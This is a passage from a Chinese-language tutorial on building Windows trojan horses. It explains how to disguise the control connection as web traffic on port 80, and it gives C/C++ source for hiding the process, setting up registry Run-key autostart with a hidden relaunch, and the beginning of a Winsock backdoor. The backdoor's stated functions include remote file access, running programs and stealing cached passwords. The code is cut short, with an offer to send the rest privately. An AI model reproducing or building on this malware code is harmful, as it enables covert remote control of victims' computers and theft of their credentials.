为了隐蔽起见,客户端 (控制端)的被动端口一般设置为80(浏览网页必须开的端口),这样,即使用户使用端口扫描软件检查自己的端口,发现的也是类似TCP UserIP:1026 ControllerIP:80 ESTABLISHED的情况,不明真相的用户就会以为自己在浏览网页,并且,防火墙一般不会禁止用户向外连接80端口。
主流木马:

四、 木马程序的实现
1、 木马中的关键技术实现(附源码)
1) 木马程序隐藏技术
通过注册服务程序,实现进程伪隐藏的方法:
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { try { DWORD dwVersion = GetVersion();//取得Windows的版本号 if (dwVersion >= 0x80000000) // Windows 9x隐藏任务列表 { int (CALLBACK *rsp)(DWORD,DWORD); HINSTANCE dll=LoadLibrary(“KERNEL32.DLL”);//装入KERNEL32.DLL rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,”RegisterServiceProcess”);//找到RegisterServiceProcess的入口 rsp(NULL,1);//注册服务 FreeLibrary(dll);//释放DLL模块 } } catch (Exception &exception)//处理异常事件 { //处理异常事件 } return 0; }
2) 程序的自启动运行技术
展示一段通过修改HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersions/Run键值来实现自启动的程序:
HKEY hkey; AnsiString NewProgramName=AnsiString(sys)+AnsiString(“+PName/”>//”)+PName unsigned long k; k=REG_OPENED_EXISTING_KEY; RegCreateKeyEx(HKEY_LOCAL_MACHINE, “SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN//”, 0L, NULL, REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE, NULL, &hkey,&k); RegSetValueEx(hkey, “BackGroup”, 0, REG_SZ, NewProgramName.c_str(), NewProgramName.Length()); RegCloseKey(hkey); if (int(ShellExecute(Handle, “open”, NewProgramName.c_str(), NULL, NULL, SW_HIDE))>32) { WantClose=true; Close(); } else { HKEY hkey; unsigned long k; k=REG_OPENED_EXISTING_KEY; long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE, “SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN”, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE,NULL, &hkey,&k); RegSetValueEx(hkey, “BackGroup”, 0, REG_SZ, ProgramName.c_str(), ProgramName.Length()); int num=0; char str[20]; DWORD lth=20; DWORD type; char strv[255]; DWORD vl=254; DWORD Suc; do{ Suc=RegEnumValue(HKEY_LOCAL_MACHINE, (DWORD)num,str, NULL, &type, strv,&vl); if (strcmp(str,”BGroup”)==0) { DeleteFile(AnsiString(strv)); RegDeleteValue(HKEY_LOCAL_MACHINE,”BGroup”); break; } }while(Suc== ERROR_SUCCESS); RegCloseKey(hkey); }
2、 WINSOCK编程完成一个简单”木马程序”实现(附源码)
用异步SOCKET方式, 直接调用WINSOCK API,WIN SDK写的木马(VC,C++ BUILDER下均编译,调试通过),无须客户端,编译后才几十K.实现了些 主要功能,文件浏览,上传,下载(均支持统配符),改变目录,获取系统信息,从CACHE取密码, 执行文件,显示进程, 发送消息,关机, 还有些控制功能。
源代码如下:
#include <windows.h> #include <winsock.h> #include <mmsystem.h> #pragma hdrstop #include <condefs.h> #pragma argsused #define RUN “//WinMon32.exe” //注册服务 #define SERVICE_PROC 1 //卸载服务 #define UNSERVICE_PROC 0 #define TH32CS_SNAPPROCESS 0x00000002 #define PROCESS_HANDLE_NAME 255 //缓冲区长度 #define dwBuffSize 2048 //命令行长度 #define dwComm 50 #define PORT 9102 #define WM_SOCKET WM_USER+1 #define PROMPT “LanLan://>” DWORD dwVersion=MAKEWORD(1,1); DWORD dwFlag=TRUE; WSADATA wsaData; SOCKET CreateSock,NewSock; SOCKADDR_IN Sock_in,NewSock_in; LPTSTR szReadBuff,Ob,TempBuff; int addrlen; //CACHE PASSWORD结构 typedef struct tagPASSWORD_CACHE_ENTRY { WORD cbEntry; WORD cbResource; WORD cbPassword; BYTE iEntry; BYTE nType; char abResource[1]; } PASSWORD_CACHE_ENTRY; typedef BOOL (WINAPI *CACHECALLBACK)(PASSWORD_CACHE_ENTRY *pce,DWORD); //CACHE PASSWORD函数原形 typedef WORD (WINAPI *PWNetEnumCachedPasswords)( LPSTR pbPrefix, DWORD cbPrefix, DWORD nType, CACHECALLBACK pfnCallback, DWORD UNKNOWN ); //TOOLHELP32 结构 typedef struct tagPROCESSENTRY32 { DWORD dwSize; DWORD cntUsage; DWORD th32ProcessID; DWORD th32DefaultHeapID; DWORD th32ModuleID; DWORD cntThreads; DWORD th32ParentProcessID; LONG pcPriClassBase; DWORD dwFlags; TCHAR szExeFile[MAX_PATH]; } PROCESSENTRY32; typedef PROCESSENTRY32 * LPPROCESSENTRY32;
注:由于文章篇幅限制剩余源码可以私信我单独发送
3、 利用”灰鸽子”工具软件制作木马
(责任编辑:admin) |